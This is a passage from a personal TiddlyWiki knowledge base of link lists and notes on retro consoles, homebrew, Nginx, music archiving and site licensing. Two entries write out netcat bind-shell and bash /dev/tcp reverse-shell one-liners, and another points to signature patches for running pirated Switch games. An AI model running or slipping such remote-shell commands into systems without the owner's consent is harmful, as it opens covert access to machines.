What I don't like: The Java Edition is heavy and unoptimized, but the Bedrock and Legacy Console Edition are very proprietary and hard to extend.; With every new version the game gets more and more bloated, confusing, harder to grok, distracting.

Clones

Minetest — open source voxel game engine with easy modding and game creation — [Git]
CavEx — Project to recreate your favourite block game for the Wii (Beta 1.7.3)
Blocks TI-84 — Minecraft-esque game for the TI 84 CE calculator

Misc

Legacy-Docs — Documentation about Minecraft: Legacy Console Edition with Vue Press — [Git]

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Minesweeper

Octt 19th September 2023 at 6:49am

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Antimine — open source minesweeper-like puzzle game for Android

Gamin' Time

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Misskey is an open, semi-decentralized social media platform. Decentralization is founded on the ActivityPub protocol.

https://github.com/misskey-dev

See also: Fediverse |

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Miyoo

Octt 30th January 2023 at 8:17am

Mobile Games

Octt 6th February 2023 at 9:14pm

List of some mobile games to keep in mind.

Angry Birds
Jetpack Joyride
krassesSpiel
Subway Surfers
Temple Run
Zombie Tsunami

Modding

Lucky Patcher

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Modding

Octt 9th February 2023 at 3:12pm

From en.Wikipedia.org/Modding

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MSX

Octt 17th December 2023 at 1:18am

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MSX Resource Center is a website about the 8bit MSX computer system.

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MSYS2

Octt 8th October 2023 at 10:29pm

Wikipedia

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The MSYS2 shell automatically tries to convert some paths from Unix to Windows (see https://www.msys2.org/docs/filesystem-paths/#automatic-unix-windows-path-conversion), but sometimes this is problematic; to disable it, one can export/call the environment variables MSYS2_ARG_CONV_EXCL and MSYS2_ENV_CONV_EXCL, for cmdline arguments and variable assignments respectively, to * to match all or to specific ;-separated argument prefixes / variable names.

Music

$:/Octt/Music Archiving Status/(Misc)
$:/Octt/Music Archiving Status/Android52
$:/Octt/Music Archiving Status/Desired
$:/Octt/Music Archiving Status/Macross 82-99
$:/Octt/Music Archiving Status/marsy
$:/Octt/Music Archiving Status/Moe Shop
$:/Octt/Music Archiving Status/Neon Vectors
$:/Octt/Music Archiving Status/Ujico \ Snail's House
$:/Octt/Music Archiving Status/VANTAGE
Music Archiving Status

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Music

Octt 19th December 2023 at 12:02am

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Sonic Pi — Experience the sound of code ... your free code-based music creation and performance tool — [Git]
- mehackit Creative programming workshop with Sonic Pi

The section immediately below doubles as a collection of my Favorite Artists + their Works

[#] Music Archiving Status

Album	Got Any?	Got Verified Lossless?	Uploaded on Archive.org?	Notes

Future / To do

Albums: FUGENE

Artists: Desired, Future Girlfriend, In Love With A Ghost, Macross 82-99, nyankobrq, SoLush, YUC'e, Yunomi

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Music Archiving Status

Octt 8th May 2023 at 8:58pm

Album	Got Any?	Got Verified Lossless?	Uploaded on Archive.org?	Notes

Future / To do

Albums: FUGENE

Artists: Desired, Future Girlfriend, In Love With A Ghost, Macross 82-99, nyankobrq, SoLush, YUC'e, Yunomi

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nanoGPT

Octt 22nd December 2023 at 10:56pm

Primary Resources: Code (Git); Video explanation: Let's build GPT: from scratch, in code, spelled out
Additional Resources: Training nanoGPT on my Journal - [OcttArchive]

My Experience

Done training on my main laptop, with PyTorch 2 nightly, and CPU training, because: * I failed to install all required dependencies on my desktop, both on Void Linux musl (bare-metal) and Ubuntu Jammy (chroot). * I now had to use my slow laptop, but issues with NVIDIA drivers meant no GPU training.

(TODO: Write my results)

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Neofetch

Octt 8th May 2023 at 9:43pm

Wikipedia

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Custom Neofetch ASCII Art

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NES Homebrew Games

Octt 19th November 2023 at 1:06am

NES Homebrew Games itch.io collection by John Vanderhoef
Super Tilt Bro — Super Tilt Bro is a demake of the Super Smash Bros. series compatible with the good old Nintendo Entertainment System from the 1980s. Featuring online play, thanks to a Wi-Fi chip in the cartridge! — [Git]

netcat/

Normal Shell

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netcat/Normal Shell

Octt 6th February 2023 at 11:15am

From https://unix.stackexchange.com/a/345628:

Run on host to spawn a network-attached shell (requires bash due to coproc):

coproc netcat -l -p $PORT
exec bash <&${COPROC[0]} >&${COPROC[1]} 2>&1

Run on client to connect to host:

nc $ADDRESS $PORT

netcat/

Reverse Shell

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netcat/Reverse Shell

Octt 6th February 2023 at 11:15am

0. Run on master (requires netcat):

nc -l -vv -p $PORT

1. Run on slave:

bash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1

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Network domain

Octt 21st December 2023 at 11:39pm

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nic.eu.org — EU.org, free domain names since 1996
(yourname.)js.org — Are you a JavaScript developer looking for free webspace to host your project? — [Git]

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Networking

Octt 24th December 2023 at 5:34pm

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Resources

Port Forwarding without delay and high fps in a real time live stream using socat
- socat is not good for this, better to use iptables (if only it was working...), or firewalld: eg. firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080
  - see Forwarding ports with firewalld

Tools

Network Tools by You Get Signal

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News

Octt 23rd December 2023 at 11:41pm

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Boing Boing — The award-winning zine, blog and directory of mostly wonderful things.

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Newsgroup

Octt 29th April 2023 at 10:36pm

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Browse newsgroup archives online:

Details and downloads of archives

https://wiki.archiveteam.org/index.php/Usenet
Usenet, Giganews (Archive.org)

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Nginx

Octt 21st December 2023 at 7:07pm

Wikipedia

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Resources

agentzh's Nginx Tutorials (version 2020.03.19)
How to set up Nginx as a caching reverse proxy?
Nginx reverse proxy + URL rewrite: most correct way and best practice is usually...
How nginx "location if" works
- If is Evil… when used in location context — (always dangerous in locations, except when doing return ...; or rewrite ... last;)
How to reply with 200+content from Nginx, without serving a file?
nginx redirect based on domain name
Using variables in Nginx location rules — nginx doesn't have proper variables, but the map module is often usable
Install more_set_headers in nginx for Debian-based distro — apt install nginx-extras, keeping in mind that it will rewrite the nginx core package, so any active nginx daemon will crash and need to be restarted.
- Apparently all extra modules get enabled by default after this installation, and some might crash on some systems: if so, delete their symlinks from /etc/nginx/modules-enabled.

Octt 20th December 2023 at 12:48am

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NSMB-MarioVsLuigi — A standalone 2-10 player remake of the Mario vs Luigi gamemode from New Super Mario Bros DS. — [Git]
Froxot Browser Games for Nintendo DSi/3DS/2DS

Tools: mkey generator - 3DS / Wii U / Switch parental controls master key generator - [Git]; NDSTokyoTrim - batch trimmer with wifi detection — [Thread]

News

March 2023: Chinese Nintendo hardware leaker permabanned, thread deleted at Nintendo's request.

See also: Nintendo DS | Nintendo Switch |

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Nintendo 3DS

Octt 21st December 2023 at 3:52pm

Wikipedia

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Gamecards [3dbrew]
Install FBI on CTRNAND (or any title, manual procedure)
devkitpro/3ds-examples — Examples for 3DS using devkitARM, libctru, citro3d and citro2d

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Nintendo 64

Octt 20th September 2023 at 3:47pm

Wikipedia

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Awesome N64 Development — A curated list of Nintendo 64 development resources including toolchains, documentation, emulators, example code, and more! — [Git]

Nintendo DS

Software Requiring Only the Bottom Screen

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Nintendo DS

Octt 21st December 2023 at 4:03pm

Nintendo DS is a family of portable game consoles created by Nintendo, succeding and preceding the GBA and 3DS families respectively.

Wikipedia

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Naples NDS / NDS Naples — We scugnizzi, and our enjoyment of the Nintendo handheld. — [Git]
Huge Nintendo DS
Some NDS ROM File Format Discoveries
DS Game Card [HwB]

Emulators

...WIP

DeSmuMe — for some uses, still the most accurate and flexible NDS emulator, with better x86 support (but poor ARM performance) — [Git]
- https://github.com/44670/desmume-wasm
NooDS — A (hopefully!) speedy DS emulator.

Tools

dlditool — Dynamically Linked Disk Interface patch tool for NDS homebrew ROMs

Development

(WIP) NDS-Homebrew-Development — research for developing on the Nintendo DS
Nitro SDK in a Box — the idea for a VM setup with all kinds of useful software from official NITRO SDK (download not released, we might want to ask OP in private)
devkitPro/nds-examples

PictoChat

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Paperchat — An online Pictochat spiritual successor - Draw and chat in real time! — [Git]
pict.chat — PictoChat web app with a server written in Java! — [Git]

Nintendo DS/

Software Requiring Only the Bottom Screen

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Nintendo DS/Software Requiring Only the Bottom Screen

Octt 6th February 2023 at 11:15am

Moved

Moved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/

Licensed Games
Animal Crossing: Wild World • Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.
Kirby: Mass Attack • Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.
Kirby: Power Paintbrush
[Patch] New Super Mario Bros. (Macro-Friendly)
[Partially] Nintendogs
Picross 3D • Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).
Picross DS • Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).
Pokemon Dash
[?] Pokemon Link!
Puyo Puyo!! 20th anniversary • Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.
[?] Puzzle League DS
Tetris DS
The Legend of Zelda: Phantom Hourglass
[?] The Legend of Zelda - Spirit Tracks
[?] Tingle no Balloon Fight DS
[?] WarioWare: Do It Yourself
[?] WarioWare: Touched!
Licensed Apps
Nintendo DS Browser • Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.
Homebrew Games
Homebrew Apps
Colors! DS • Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).

Nintendo Entertainment System

NES Homebrew Games

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Nintendo Entertainment System

Octt 23rd December 2023 at 9:23pm

Wikipedia

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Resources

Pushing The Limits of the NES: Amazing Hacks That Made NES Games Possible [Sharopolis]
NES (Famicom) Development Kit Hardware [Retro Reversing]
(Playlists of) Some NES Multicarts Music ; NES/Famicom Multicarts Music Remake Video
NesDev.org — Info, programs, and more
Nintendo Entertainment System Documentation
nes.science — home to a bunch of random NES stuff and useful archives
Nerdy Nights (mirror) — tutorial series to help people write games for the NES
nesdoug.com — NES Programming tutorial in C
- GitBook re-adaptation by dag7dev for a comfy read — [Git]
everynes/no$nes technical documentation
NES Programming [Wikibooks] — an extremely WIP resource on the matter as of 2023/11, but it's worth for it being just a concise list of specs and memory layout
General Useful tools for NES development
- FamiStudio — very simple music editor for NES/Famicom targeted at both chiptune artists and NES homebrewers — [Git]
- FamiTracker: after official development ceased and website died, see Where do I download famitracker?
  - apparently, current best fork is Dn-Famitracker
- nixel — web editor for CHRs inside NES ROMs with a good UX
- NEXXT — Featureful NES assets studio based off the classic "NES Screen Tool". It's the "famitracker" of NES graphics. (sources included)
Retro Puzzle Maker — new tool meant to help you create new puzzle games you can play on an NES
C NES Starter Kit — Simplified starter kit for making NES games using C and graphical tools. — [Git]
ASM NES Starter Kit — starter kit for developing Nintendo Entertainment System games using 6502 Assembly language with specific useful information
little-things-nes — One-off tech demos and test ROMs for NES
nessemble — 6502 assembler/disassembler/simulator targeting the Nintendo Entertainment System
BZK 6502 Disassembler — Create a disassembly of a NES game — [Manual] [Thread]
NES Games Disassembly — Source code of some NES games — [Thread]

Emulators

FCEUX — The all in one NES/Famicom/Dendy Emulator — [https://github.com/TASEmulators/fceux]
Nestopia
NesDs

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Nintendo Switch

Octt 10th December 2023 at 10:05pm

Nintendo Switch is a family of portable game consoles created by Nintendo. It is notorius for being made of papier-mâché, essentially suffering from a variety of structural problems.

The console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can switch, from being connected to a TV to being able to be used standalone.

Misc

Internet Browser [Switchbrew]
- Apparently from FW 10.0, Nintendo being corporate shitlords added a Browser Timeout: "This Screen will be closed."

Emulators

Yuzu — experimental open-source Switch emulator from the creators of Citra — [Git]
Ryujinx — simple, experimental Nintendo Switch emulator — [Git]
Skyline — Run Nintendo Switch homebrew & games on your Android device! — [Git]
- Abandoned due to the developers' irrational fear of a Nintendo takedown (in my view they were just tired of mantaining the project and didn't want to take the bad press of a standard resign, this was just an excuse to abandon the project... but at least it's open-source)
- A slow-going fork has apparently started: Strato

Homebrew, Tools, Hacks

Alternative OSes: Ubuntu and LineageOS by switchroot
Custom Firmware: The real best today is Atmosphère-NX + related libs.
Signature patches (needed to run unsigned NSPs, aka homebrew NSPs or pirated games): [WiiDatabase] [Hackintendo] [ShadowOne333]. They were provided by various developers who want to remain mostly anonymous, and they are mostly compiled together by ITotalJustice.
nsz — Homebrew compatible NSP/XCI compressor/decompressor
Goldleaf — 🍂 Multipurpose homebrew tool for Nintendo Switch — [Git]
Tinleaf — No-Bullshit NSP, NSZ, XCI, and XCZ Installer for Nintendo Switch (forked from Awoo Installer without the furry crap) — [Thread]

Development

SwitchBrew Wiki
- switchbrew/switch-examples — Switch examples for devkitA64 and libnx

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Nitter:en

Octt 6th February 2023 at 11:15am

Nitter is a free and open source alternative Twitter front-end focused on privacy and performance.

Quoting from the project's README:

Inspired by the Invidious project.
No JavaScript or ads
All requests go through the backend, client never talks to Twitter
Prevents Twitter from tracking your IP or JavaScript fingerprint
Uses Twitter's unofficial API (no rate limits or developer account required)
Lightweight (60KB vs 784KB from twitter.com)
RSS feeds
Themes
Mobile support (responsive design)
AGPLv3 licensed, no proprietary instances permitted

Nix

Octt 2nd March 2023 at 11:48am

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Zero to Nix - An unofficial, opinionated, gentle introduction to Nix
NixOS: a sales pitch - A 20-minutes introduction from the ground-up to Nix and NixOS.

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Node.js

Octt 13th December 2023 at 12:17am

Wikipedia

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Resources

Node.js check if path is file or directory
How to copy files and folders in Node.js? — Multiple ways to copy files in Node.js

Docs: Node.js HTTP Module
Libraries: ink - 🌈 React for interactive command-line apps

NodeMCU:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/NodeMCU

https://www.nodemcu.com/index_en.html

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Nokia

Octt 5th March 2023 at 12:08am

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News

February 2023: Nokia launches DIY repairable budget Android phone - [Analysis by Louis Rossmann]; Nokia G22 has removable back and standard screws allowing battery swap in less than five minutes at home

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Nonogram

Octt 27th September 2023 at 11:12pm

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Printables:

Gamin' Time

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Software Implementations

Nonogram.com

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Note

Octt 24th August 2023 at 9:36am

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Notebook

Octt 17th February 2023 at 11:02pm

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Some (small ones) can be cute, I think. It's a shame though that writing on paper, for me, has too many disadvantages as compared to writing digitally... although I should probably just try it for some weeks to verify some ideas.

See also: Digital Garden | Why I write digitally |

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NumWorks

Octt 23rd December 2023 at 10:36pm

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Numworks Hacks Guide
Omega Custom Firmware, abandoned — [Git]
- ... including Phi, jailbreak for the Numworks calculator with Epsilon 16 and higher. It brings back custom firmwares.
- Upsilon — CFW forked from Omega and mantained — [Git]
Nwagyu — Collection of free nwa apps that you can install on your NumWorks calculator
Templates to Plot Functions, Parametric Equations, and Sequences
Version 16 bêta : verrouillage NumWorks anti Omega / KhiCAS

Octt

Keeping a KB
OcttKB
sitoctt
Spacc
Why I write digitally

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Octt

Octt 5th November 2023 at 10:20pm

Octt, aka OctoSpacc, or Andrea, is me, the living entity who primarily maintains the OcttKB. I am powered by a natural neural network running on a meat machine, in case that wasn't obvious, but I plan of making a copy (or multiple?) of myself that will live in silicon machines.

Some info about me should go here, I suppose, so here are some points:

I can program enough things in vanilla JavaScript, Python, sh, C and some Java, and TiddlyWiki (wow). I will also say: I can program with HTML and CSS, just to make you cry with "they're not programming languages!!1!".
- I've had to use C++, well I hate it. Never had to use Rust, and I'm happy because that syntax scares me.
I can solve some puzzle games (very little in the grand scheme of all puzzles of this world, but still fun) and play some card games, they fun sometimes.
Here is my #ShowYourStripes if you're curious — aka the climate change situation also where I live.

After this, there's not a lot more info about me here for now. Tough luck. Maybe go read the about page on my sitoctt in the meantime, there's something more in there: https://sitoctt.octt.eu.org/Chi-Sono.html.

Here are some things I like or do or whatever, that I'm putting here honestly just to get some tiddlers connected together, because I like graphs like the Focus one on the sidebar.

Graphs.. I just said I like them. Some others are at OcttKB/Data.
Gaming, but I have special tastes probably.
- This not only includes videogames, but also puzzle games.
- [I should write my best picks here...]
Writing, like on my sitoctt or here.
Software Development, mostly frontend (CSS is crappy but epic).
- My Web places wouldn't be as unique if this wasn't the case and I were to only write content.

Octt 5th November 2023 at 10:41am

Welcome to my Personal {Personal Knowledge Base \ Public Notebook}!

General information about the site will soon be available. Licensing information is available here. This is "OcttKB" because I'm Octt. With this thing, I'm learning and thinking in public.

Tips

Click on tag pills, often as present on top of a tiddler frame, just below the title, to navigate to all tiddlers that are tagged with that tag.
- Unlike with folders, a tiddler can have many tags at the same time, allowing for non-linear navigation.
Click on different parts of the title of an open tiddler to navigate between children, both in a folder-like structure (other tiddlers present as path children of the current one, thanks to slash (/) separation), and with the tag structure (tiddlers tagged with the name of the current one).

External Links

My Hub, Global Home Page: Hub.Octt.EU.org: Links to my blog, webapps, and social profiles

KB Git Repo (deploy scripts, + limited commit history): GitLab.com/octtspacc/OcttKB
- Mirrors (don't send issues/PRs there): GitHub.com | Gitea.it
Public Statistics: https://octtkb.goatcounter.com/

Note: The KB is also served in plain, unencrypted HTTP at the http 5th-level subdomain: http://http.kb.octt.eu.org.

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2248
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Anti-Capitalist Software License:en
Anti-Fascist MIT License:en
App
Apple Inc
Archive
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Aria2
ARM
Artificial intelligence
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Balloon Fight:en
Barcode
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BBCode
BBS
Binary data
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C Language
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Calculator
Candle
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CASIO
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CHIP-8
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Cryptocurrency
CSS
CTGP Nitro
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daedalOS
Dart
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EPSON WF-2510
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File manager
File sharing
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Firmware
Flashcart
Ford
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FreshRSS
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Game Boy
Game cheating
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Game save
Gamepad
Gaming
Gaming console
GBA
GettingStarted
GIMP
Git
GitHub
GitLab
GNOME
GNU:en
Google
GPT
GUI
Hacker News:en
Hacking a chain strap in an USB SD card reader for security
Handheld
Harden VM from Human Inspection
Hardware
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Holiday
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HTML
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Huawei P9 Lite Mini
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Intellinet
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Invidious:en
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Issues of the Modern Web
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johncena141:en
JSON
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Keyoxide:en
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LastPass
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Lemmy:en
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LXQt:en
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Picross 3D:en
Picross DS:en
Picture
Pilotwings:en
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Pine64:en
ping
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Pixelfed:en
PlayStation
PlayStation 1
PlayStation 2
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PocketGo
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Printing
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Pubnix
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Python
QEMU
Rasperry Pi:it
Rclone
ReactOS:en
Reddit
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Rockchip:en
RSS
Rust language
Salesforce
Samsung Galaxy Ace 4 Style
Samsung Galaxy Player:en
Samsung Galaxy S5 Mini
Samsung:en
Scribblenauts
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Search engine
SEB 3.5.0 on Linux (VM Bypass)
Server
setxkbmap
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Shiori
Simple DirectMedia Layer
Simple Mobile Tools:en
sitoctt
SMIL
Social network
SoftEther
Software
Software reimplementation
Sokoban
Sony
Spacc
Spacc BBS
Spacc Inc.
SpaccCraft
Speedrun
SPI
Splatoon
SSH
Stable Diffusion
Standard Notes
Starbucks
Static site generator
Strange things
Super Mario 64:en
Super Mario Bros.
Super Nintendo Entertainment System
Super Tux:en
SuperTuxKart
SVG
Syncthing
Syncthing setup for a refreshing file experience
Sysadmin
System monitor
Tech Art
Tech Resources
Techmino:en
Telegram
Teletext
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Templating language
Termux
Tetris
Tetris Effect:en
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OcttKB/Data

Octt 8th February 2023 at 5:10pm

Undefined widget 'echarts'

Depth: 3 Undefined widget 'echarts'

Undefined widget 'echarts'

I still have to put a lot of stuff here... see OcttKB/WIP

See also: Octt |

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Hacks

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OcttKB/Hacks

Octt 19th February 2023 at 10:38am

Macros

$:/Macros/

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b64TidUriEnc.js
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ExtLinks
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Frames
i18n
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ltabs
Main
Music Archiving Status
Styles
TiddlerTree
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Theming

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bilibili-back-to-top.html
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Main
onhover-toolbar-styles.css
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$:/palettes/Octt Light

Modified system and plugin files

$:/StaticBanner: (Shown as banner in statically exported pages)
$:/core/templates/static.content: (Shown as static HTML content in the standard TiddlyWiki file)
$:/core/templates/exporters/StaticRiver: (Added meta viewport for correct viewing on mobile) [Pull Request]
$:/plugins/kookma/refnotes/ui/bibtexlibrary: Remove this applet from the sidebar since I don't use it

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OcttKB/Index

Octt 5th November 2023 at 10:41am

here!

$:/Apps
$:/Games
$:/Tools
Me
OcttKB
Spacc

Other things: 📜️ No-JS Single-Page KB; 🖍️ Comments/Issues/PRs (Git); 🏳️‍🌈 Translate this Site (Google)

Last edit at 2023-12-24, 17:44 [Activity]

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Licensing

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OcttKB/Licensing

Octt 6th February 2023 at 11:32am

All my original content on this website, unless where otherwise specified, is licensed under CC BY-SA 4.0.

It is a free culture license that promotes the benefits of making information available for anyone to learn from and build upon. However, be sure to know its terms before doing anything other than just consuming the site!

You can easily recognize which of the directly hosted (entirely contained in a tiddler itself, like text, string-encoded files, or standalone files in the file system) content is my original creation: it's anything that features no indication of source or license.

Unless I forget to do so in specific instances, I always credit the source and/or specify the original license for anything upon which I don't hold 100% of the rights (even public domain content) and is a straight copy. I may not do so if the content in question is not directly copied into my site, but instead embedded from a Web space which is the property of another entity - in which case, a clickable link directing to the source will be present; if not, you can click the pencil-shaped (edit) button to read the source code for a specific tiddler, to discover possible external embed URLs.

The above is valid for all content tiddlers (those whose name does not start with $:/) and all system tiddlers created by me (not part of standard TiddlyWiki or any of my installed plugins).

Non-original system tiddlers which I never touched, obviously fall under their own license; but, for simplicity of operations, as well as to avoid accidentally claiming ownership on code not written by me, I hereby explicitly give away my copyright for non-original system tiddlers that I modified from their original state. This means you can consider those as always falling under their original license, even if I touched them; From another point of view, you can effectively consider any diff generated between the original version of a system tiddler and my modified version of the same file as falling under public domain.

OcttKB/WIP

Octt 5th November 2023 at 3:43pm

WIP/TODO

Note: this section is by itself in an heavy WIP state... I will never escape from this 😱️

Better footnotes (should be clickable)
Fix StaticRiver template, broken after introducing breadcrumbs ~~(showing duplicate title, and also broken elements)~~
Move all bachecoctt links (and old GitHub stars) to proper tiddlers
Personal easy notes on various technical things of TiddlyWiki
Organize all my customizations into plugins easily installable by anyone
On showing date and time of last wiki saving (on Index tab on sidebar), also consider when a system tiddler is edited
Breadcrumbs bar:
- Show unformatted title on click or at least disable hiding of some tokens
- Button to copy full path to clipboard
- Clicking on a path element brings up the compact directory listing at that point, instead of opening the tiddler directly
  - Will need to expose an additional button to open the tiddler then
- In the small directory listing menu, add textbox/button to quickly create a new tiddler in that path
In whatever directory listing, show button to create a new tiddler in current path
Custom proper reusable directory tree browser (maybe like the one we have with $:/OcttKB/ToC)
- To use instead of the Directory macros, showing automatically on pages that are directories, and also as a file browser for the whole wiki
Data compression of everything (without breaking TiddlyWiki CLI support)
- Choosing algorithm: best is probably Zstd
- Tiddlers should be stored compressed individually; At saving, they are all compressed and stored in the HTML; At loading, they are read and decompressed to start the app
- Single tiddlers are only compressed when it actually saves space, they should be checked at saving stage
When opening missing tiddlers, show a preview from Wikipedia or from word dictionaries, with GUI to customize fetching options
To the possible extent, save Git deploy scripts for the KB inside itself, for easy editing needs
Case insensitivity for tiddlers (?)
Handy button to reload direct scripts like $:/OcttKB/Functions.js
A way to reload any internal script (JS macros and exports) without reloading the entire wiki
Button to reload a single tiddler; if not possible, then the macros that can fail (e.g. MediaWiki, or all which fetch content from the Internet) should provide their own retry button
Fix images embedded with CSS float, make them not go out of tiddler's body if too tall
Better positioning of open/close sidebar button (should move the tiddler action bar buttons slightly to the left on single-column layout at least)
Add a feature to let users send issues or pull requests
Maybe add normal user comments?
Rehost embedded games for better CSS
- Find the best retro console HTML5 emulator to embed in tiddlers which talk about certain games - they also need to be adapted to load ROMs from URL
In here I also put some tiddlers that are about a mainstream thing or topic just because they are connected to a more worthy tiddler; they should be tagged as Mainstream so that they can be filtered out in search and stuff
Special protection for some tiddlers, not encryption necessarily but just lock access to them globally until a specific task is performed (a password inputted is boring, maybe specific screen swipes is better)
"Back to top" button
- Made with the style of bilibili, graphic is reused but logic needs to be reprogrammed

Nice to have

When tiddlers are transcluded show a small version of their action bar without the <<{ >> macro
Automatic lightboxes for images, without having to use the <<ibox>> macro

i18n

Make the language bar collapsed by default, or make it a menu callable by a button on the tiddler
- Show the button as a country flag in the tiddler title maybe? Ideally showing it in place of the ":lang" suffix when present
Selecting to open a language on a tiddler should ideally remove the previously open tiddler from the story river (or else if you switch language many times you have a cluttered river but no real advantage)
Automatically handle connections between different-language versions of a tiddler when the only difference in title is the ":lang" suffix, without manually setting "i18n" attribute
Automatically handle eventual tiddlers which don't exist by their common i18n name (e.g "Thing") but do with a ":lang" suffix, that should automatically transclude the preferred language
- Preferred language could be enforced by the user with a global setting, or just be set softly based on the language of the last tiddler opened by the user (latter is ideal)

External wikis

Unified transclusion features for external TiddlyWikis and MediaWikis
- Adapt the MediaWiki macro to:
- Have internal links present
  - Add lists of known wikis callable from a shorthand name
  - Choosing number (by total from first/last, or ranges), or titles, of paragraphs or chapters to transclude (with support for specifying items to exclude)
  - Retrieving and embedding files from wiki or Commons by known name (File:)
  - It must also handle files that aren't images (audio/video)
    - Default embed displays also the article cover image, allow setting a custom file or just none
- Understand transclusions from external TiddlyWikis (it seems like people just use iframes, OK for showing things but not for choosing to display specific limited sections)
Somehow have working full-text search for tiddlers that transclude external wikis?

Graphing and statistics

Keyword (not tag) cloud ([tw5] Simple Word Clouds?)
Need to get an automatic content-based relationship map (like the one on https://baczek.me/map/)
Activity view with calendar (like KOReader)

Strategies for storing data

What are the ways that are most easily reusable, with the best UI possible, and many querying capabilities, to store the following data?

CLI commands and flags, with snippets - how to view them in an interactive and visually compact form, to show only what each possible option does only when needed?
Simple links that correlate to many different topics - I'm not making a dedicated tiddler for every single one, that's crazy
- ..or just any kind of data, Wikidata-style

OLED

Octt 17th February 2023 at 7:52am

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Open Services Providers

Octt 8th June 2023 at 2:08pm

The following entities host miscellaneous useful open-source Internet services for the public. Some are classifiable as pubnixes.

Specific single offerings

CryptPad: 📃 Curated List
SearX/SearXNG (Metasearch engine): 📃 Curated List | priv.au
Whoogle: 📃 Curated List
Lingva: 📃 Curated List
Libreddit: 📃 Curated List
Teddit: 📃 Curated List
Nitter (Twitter frontend): 📃 Curated List
Invidious: 📃 Curated List
Piped: 📃 Curated List

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OpenVPN

Octt 23rd August 2023 at 11:30pm

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https://openvpn.net/
https://github.com/OpenVPN
Android Client: [F-Droid] [GPlay] [Git]
OpenVPN for Docker — lisenet/openvpn
- HowTo on old repo: README.md

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Optical disc

Octt 17th February 2023 at 7:58am

Wikipedia

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Business card CD DIY - NES classic compilation on Playstation one (PSX) in form of credit card

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Oracle VirtualBox

Octt 5th June 2023 at 9:36pm

https://www.virtualbox.org/

Wikipedia

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I hid the menu bar in VirtualBox, how to show it again?: Open virtual machine's settings, then User Interface page...
- If this doesn't immediately work, it must be tried various times, settings closed, and again until it works.

Palette

Octt 27th February 2023 at 7:40am

Wikipedia

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Solarized - Precision colors for machines and people - [Git]

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Papier-mâché

Octt 6th February 2023 at 9:14pm

From en.Wikipedia.org/Papier-mâché

Pastebin

Octt 11th December 2023 at 11:47pm

Wikipedia

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termbin.com — Netcat-based command line pastebin — [Git]

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PC

Octt 13th May 2023 at 10:21pm

Wikipedia

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Ventoy - A new bootable USB solution — [Git]
- Medicat USB — Multiboot Linux USB for PC Repair — [Thread]

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Peer-to-peer

Octt 1st October 2023 at 9:40am

Wikipedia

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PeerTube:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/PeerTube

See also: Fediverse |

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Personal Knowledge Base

Octt 28th February 2023 at 10:06pm

Wikipedia

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Tools: Feather Wiki - A single-file HTML wiki in ~50 KB - [Git]; TiddlyWiki
Misc: How to Set Up a Personal Wiki (with Jekyll) - [Code]

PHP

Octt 20th December 2023 at 12:52am

Wikipedia

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PHP: Find all images in a HTML string

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phpBB

Octt 13th December 2023 at 12:17am

Wikipedia

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How to Install phpBB with Nginx and MariaDB on Ubuntu Linux — Note: the php-fpm package might need to be installed by specifying version, and it's better to use phpBB's official nginx.sample.conf.
Creating custom BBcode with optional parameter?
- also see Custom BBCode syntax of s9e\TextFormatter
phpBB Studio — Extension developers for phpBB

Extensions

Knowledge Base — An extension for phpBB 3.1.x that adds a knowledge base to your board — [Git]
RESTApiForPhpBB — Unofficial REST API for PhpBB with example client (Incomplete and Abandoned, but decent working base for a fork)
RH Topic Tags — Enables tagging of topics with key words — [Git]
- Fork updated for phpBB 3.3.9+ (2 fixes)

Styles

Milk — Flat, Modern Multipurpose Responsive Theme — [Nullsto]
phpBB3 WAP Style

PICO-8

Octt 15th February 2023 at 9:37pm

Website/Forum
Edu Edition - Gratis official web player and editor
PICO-8 Community Git
Awesome PICO-8 - [Git]

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Get Games

https://www.lexaloffle.com/bbs/?mode=carts
https://itch.io/games/tag-pico-8
PICOwesome v1.4 (oct-31-2022) - Pico8 Awesome ROM Set - [ZIP Gdrive] [ZIP 1fichier] - [v1.0] [v1.3]
- Other (unorganized?) collections mentioned in the thread: https://archive.org/details/pico8 | https://archive.org/details/p8carts
- Others (for real): https://archive.org/details/pico-8_cart_collection

Reimplementations

fake-08 - Pico 8 player for homebrew consoles - Tested on Miyoo with the latest version as of end of ~2021 (?), worked with not a lot of games [GBATemp]

Runty8 - Clone in Rust (Never tested)

Picross 3D:en

Octt 7th February 2023 at 10:17pm

From en.Wikipedia.org/Picross_3D

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Picross DS:en

Octt 7th February 2023 at 10:17pm

From en.Wikipedia.org/Picross_DS

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Picture

Octt 23rd December 2023 at 11:53pm

Wikipedia

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Apeaksoft Free Watermark Remover || vidmore Free Watermark Remover Online

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Pilotwings:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/Pilotwings

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Pinball

Octt 11th November 2023 at 11:53pm

Wikipedia

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3D Pinball — Space Cadet

